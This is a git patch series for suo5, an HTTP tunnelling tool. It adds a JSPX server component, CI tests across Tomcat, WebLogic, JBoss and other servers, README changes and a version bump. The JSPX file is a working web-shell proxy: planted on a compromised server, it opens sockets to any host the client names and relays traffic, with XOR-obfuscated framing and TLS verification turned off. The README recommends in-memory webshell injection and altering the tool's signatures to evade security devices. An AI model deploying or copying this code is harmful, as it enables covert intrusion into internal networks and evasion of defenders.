From 500b6fdf156e15592d6408dabc89816bc955520e Mon Sep 17 00:00:00 2001 From: zema1 Date: Thu, 29 Jun 2023 21:06:42 +0800 Subject: [PATCH 1/3] feat: add jspx close #31 --- .github/actions/action.yml | 2 +- .github/workflows/test.yml | 114 +++++--- assets/suo5.jspx | 539 +++++++++++++++++++++++++++++++++++++ 3 files changed, 614 insertions(+), 41 deletions(-) create mode 100644 assets/suo5.jspx diff --git a/.github/actions/action.yml b/.github/actions/action.yml index 54b60f7..dbe4a1c 100644 --- a/.github/actions/action.yml +++ b/.github/actions/action.yml @@ -23,4 +23,4 @@ runs: - if: inputs.jar == 'true' shell: bash working-directory: ./assets - run: jar cvf assets.war suo5.jsp \ No newline at end of file + run: jar cvf assets.war suo5.jsp suo5.jspx \ No newline at end of file diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 9faa338..42491f9 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -48,19 +48,23 @@ jobs: - image: expertsystems/resin mount: /var/resin/webapps/ROOT/assets env: - SUO5_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:8080/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions - run: | set -ex docker run -it --rm -d -p8080:8080 -v ${{ github.workspace }}/assets:${{ matrix.mount }} ${{ matrix.image }} - bash ./.github/workflows/ready.sh ${{ env.SUO5_URL }} 30 - curl -v ${{ env.SUO5_URL }} + bash ./.github/workflows/ready.sh ${{ env.SUO5_JSP_URL }} 30 + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half jetty-test: name: Jetty @@ -84,19 +88,23 @@ jobs: mount: - /var/lib/jetty/webapps/ROOT/assets env: - SUO5_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:8080/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions - run: | set -ex docker run -it --rm -d -p8080:8080 -v ${{ github.workspace }}/assets:${{ matrix.mount }} ${{ matrix.image }} - bash ./.github/workflows/ready.sh ${{ env.SUO5_URL }} 30 - curl -v ${{ env.SUO5_URL }} + bash ./.github/workflows/ready.sh ${{ env.SUO5_JSP_URL }} 30 + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half jboss-test: name: JBoss @@ -111,19 +119,23 @@ jobs: - image: vulhub/jboss:as-6.1.0 mount: /jboss-6.1.0.Final/server/default/deploy/ROOT.war/assets env: - SUO5_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:8080/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions - run: | set -ex docker run -it --rm -d -p8080:8080 -v ${{ github.workspace }}/assets:${{ matrix.mount }} ${{ matrix.image }} - bash ./.github/workflows/ready.sh ${{ env.SUO5_URL }} 30 - curl -v ${{ env.SUO5_URL }} + bash ./.github/workflows/ready.sh ${{ env.SUO5_JSP_URL }} 30 + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half websphere-test: name: WebSphere @@ -140,7 +152,8 @@ jobs: deploy: - /config/dropins env: - SUO5_URL: http://127.0.0.1:9080/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:9080/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:9080/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions @@ -154,11 +167,14 @@ jobs: docker ps -a bash ./.github/workflows/ready.sh http://127.0.0.1:9080 60 sleep 10 - curl -v ${{ env.SUO5_URL }} + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half tongweb-test: name: TongWeb @@ -171,7 +187,8 @@ jobs: - image: boyingking/tongweb-auto deploy: /home/tw6/tongweb6/applications/console/assets env: - SUO5_URL: http://127.0.0.1:9060/console/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:9060/console/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:9060/console/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions @@ -185,12 +202,15 @@ jobs: docker ps -a bash ./.github/workflows/ready.sh http://127.0.0.1:9060 30 sleep 10 - curl -v ${{ env.SUO5_URL }} + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -no-gzip - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full -no-gzip - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half -no-gzip - + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -no-gzip + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full -no-gzip + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half -no-gzip + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -no-gzip + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full -no-gzip + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half -no-gzip + weblogic-test: name: Weblogic @@ -212,7 +232,8 @@ jobs: - image: vulhub/weblogic:10.3.6.0-2017 deploy: /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/ env: - SUO5_URL: http://127.0.0.1:7001/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:7001/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:7001/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions @@ -235,11 +256,14 @@ jobs: bash ./.github/workflows/ready.sh http://127.0.0.1:7001 60 docker cp ./assets/assets.war weblogic-test:${{ matrix.deploy }} sleep 10 - curl -v ${{ env.SUO5_URL }} + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half tomcat-test: name: Tomcat @@ -283,22 +307,32 @@ jobs: - tomcat:10.1-jre17 mount: - /usr/local/tomcat/webapps/ROOT/assets + jspx: + - true include: - image: nortthon/tomcat5 mount: /opt/tomcat/webapps/ROOT/assets + jspx: true - image: consol/tomcat-4.1 mount: /opt/tomcat/webapps/ROOT/assets + jspx: false env: - SUO5_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSP_URL: http://127.0.0.1:8080/assets/suo5.jsp + SUO5_JSPX_URL: http://127.0.0.1:8080/assets/suo5.jspx steps: - uses: actions/checkout@v3 - uses: ./.github/actions - run: | set -ex docker run -it --rm -d -p8080:8080 -v ${{ github.workspace }}/assets:${{ matrix.mount }} ${{ matrix.image }} - bash ./.github/workflows/ready.sh ${{ env.SUO5_URL }} 30 - curl -v ${{ env.SUO5_URL }} + bash ./.github/workflows/ready.sh ${{ env.SUO5_JSP_URL }} 30 + curl -v ${{ env.SUO5_JSP_URL }} chmod +x ./suo5 - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode full - ./suo5 -debug -t ${{ env.SUO5_URL }} -T https://www.bing.com -mode half \ No newline at end of file + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSP_URL }} -T https://www.bing.com -mode half + if [ "${{ matrix.jspx }}" = "true" ]; then + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode full + ./suo5 -debug -t ${{ env.SUO5_JSPX_URL }} -T https://www.bing.com -mode half + fi \ No newline at end of file diff --git a/assets/suo5.jspx b/assets/suo5.jspx new file mode 100644 index 0000000..e10c66b --- /dev/null +++ b/assets/suo5.jspx @@ -0,0 +1,539 @@ + + + + + + + + + + > 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = data[data.length / 2]; + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = request.getLocalPort(); + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5 p = new Suo5(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1) { + return; + } + if (action[0] == 0x02) { + socketOutStream.close(); + return; + } else if (action[0] == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action[0] == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action[0] >= 0x01 && action[0] <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action[0] == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action[0] == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action[0] != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + conn.setRequestProperty(k, request.getHeader(k)); + } + + OutputStream rout = conn.getOutputStream(); + rout.write(marshal(dataMap)); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + } + ]]> + + \ No newline at end of file From 87773dae76ef2bc1f55b5bd503e536f9379dd9b9 Mon Sep 17 00:00:00 2001 From: zema1 Date: Thu, 29 Jun 2023 21:31:08 +0800 Subject: [PATCH 2/3] update remote server README close #11 close #31 --- assets/README.md | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/assets/README.md b/assets/README.md index 79b97bf..3d0dd61 100644 --- a/assets/README.md +++ b/assets/README.md @@ -2,12 +2,13 @@ > 注意:suo5.jsp 请勿放到编辑器格式化之类的,否则在 weblogic 等服务中可能会无法使用,主要是换行导致的。 -实战中推荐使用内存马的方式来加载, jsp 的方式容易被安全设备检测到。 -- `suo5.jsp` servlet 的实现 +- `suo5.jsp` +- `suo5.jspx` - `Suo5Filter.java` 一个简易的 Filter 实现,可以改造后用于 Filter 型内存马注入 -如果想要其他版本的,可以利用 git 的 release tag 进入。 +实战中推荐使用内存马的方式来加载, 其次是 jspx,再然后是 jsp。 深度使用的同学建议自行修改部分特征以免流量被识别,在功能做完善之前安全对抗不是这个项目的发力点。 + ## 测试通过的中间件 @@ -17,4 +18,11 @@ - Weblogic 10,12,14 - Jboss 4,6 - Jetty 9,10,11 -- WebSphere 8,9,22,23 \ No newline at end of file +- WebSphere 8,9,22,23 +- Resin 4 + +## 为何显示连接成功但无法使用? + +首先请确保使用的是最新版本,如果你遇到的环境是 `泛微OA(resin)`、`Jira(tomcat)` 等,请尝试使用内存马的版本,很多时候 jsp(x) 不行但是内存马是可以的。 + +从根本上讲,有部分情况 `suo5` 是无法支持的,这并非是程序 bug,而是工作原理使然,`suo5` 要求目标的响应是流式的,如果目标中间件或是负载均衡对响应有缓存,这种只能使用传统代理来构建隧道了。 \ No newline at end of file From ca4b7adf08228bb41005dce08a948a671432f616 Mon Sep 17 00:00:00 2001 From: zema1 Date: Thu, 29 Jun 2023 21:41:02 +0800 Subject: [PATCH 3/3] feat: release 0.9.0 --- CHANGELOG.md | 14 ++++++++++++++ README.md | 2 +- README_EN.md | 37 +++++++++++++++++++------------------ gui/frontend/src/Home.vue | 2 +- 4 files changed, 35 insertions(+), 20 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 655af8c..91a16b2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,19 @@ # 更新记录 +## [0.9.0] 2023.06-29 + +- 增加脏数据跳过逻辑, 自动计算偏移 #11 +- 增加 `jspx` 形式的服务端, 通过全部中间件的测试 #31 +- 允许连接测试时的 `EOF` 的情况,解决部分 Listener 内存马连不上的问题 + +### 修复 +- 修复上游代理对连接测试的这个请求不生效的问题 + +## [0.8.0] 2023.05-23 + +### 修复 +- 上一个版本因上游库忘记更新导致的连接超时问题 #28 #29 + ## [0.7.0] 2023-05-17 ### 新增 diff --git a/README.md b/README.md index d2e0ff2..55f06fd 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ USAGE: suo5 [global options] command [command options] [arguments...] VERSION: - v0.7.0 + v0.9.0 COMMANDS: help, h Shows a list of commands or help for one command diff --git a/README_EN.md b/README_EN.md index 731cf77..c64d2e3 100644 --- a/README_EN.md +++ b/README_EN.md @@ -50,32 +50,33 @@ Windows 11 and MacOS already come with this component, other systems will have a ### Command line ```text -NAME: - suo5 - A super http proxy tunnel - USAGE: suo5 [global options] command [command options] [arguments...] VERSION: - v0.3.0 + v0.9.0 COMMANDS: - help, h Shows a list of commands or help for one command + help, h Shows a list of commands or help for one command GLOBAL OPTIONS: - --target value, -t value set the remote server url, ex: http://localhost:8080/tomcat_debug_war_exploded/ - --listen value, -l value set the listen address of socks5 server (default: "127.0.0.1:1111") - --method value, -m value http request method (default: "POST") - --no-auth disable socks5 authentication (default: true) - --auth value socks5 creds, username:password, leave empty to auto generate - --mode value connection mode, choices are auto, full, half (default: "auto") - --ua value the user-agent used to send request (default: "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3") - --timeout value http request timeout in seconds (default: 10) - --buf-size value set the request max body size (default: 327680) - --proxy value use upstream socks5 proxy - --debug, -d debug the traffic, print more details (default: false) - --help, -h show help - --version, -v print the version + --target value, -t value set the remote server url, ex: http://localhost:8080/tomcat_debug_war_exploded/ + --listen value, -l value set the listen address of socks5 server (default: "127.0.0.1:1111") + --method value, -m value http request method (default: "POST") + --redirect value, -r value redirect to the url if host not matched, used to bypass load balance + --no-auth disable socks5 authentication (default: true) + --auth value socks5 creds, username:password, leave empty to auto generate + --mode value connection mode, choices are auto, full, half (default: "auto") + --ua value the user-agent used to send request (default: "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3") + --header value, -H value [ --header value, -H value ] use extra header, ex -H 'Cookie: abc' + --timeout value http request timeout in seconds (default: 10) + --buf-size value set the request max body size (default: 327680) + --proxy value use upstream proxy, support both socks5 and http(s), eg: socks5://127.0.0.1:7890 + --debug, -d debug the traffic, print more details (default: false) + --no-heartbeat, --nh disable heartbeat to the remote server which will send data every 5s (default: false) + --no-gzip, --ng disable gzip compression, which will improve compatibility with some old servers (default: false) + --help, -h show help + --version, -v print the version ``` The command line version is exactly the same as the GUI version, You can refer to the GUI version to use it. The diff --git a/gui/frontend/src/Home.vue b/gui/frontend/src/Home.vue index 641acbe..ca38f04 100644 --- a/gui/frontend/src/Home.vue +++ b/gui/frontend/src/Home.vue @@ -76,7 +76,7 @@ 连接数: {{ status.connection_count }} CPU: {{ status.cpu_percent }} 内存: {{ status.memory_usage }} - 版本: 0.8.0 + 版本: 0.9.0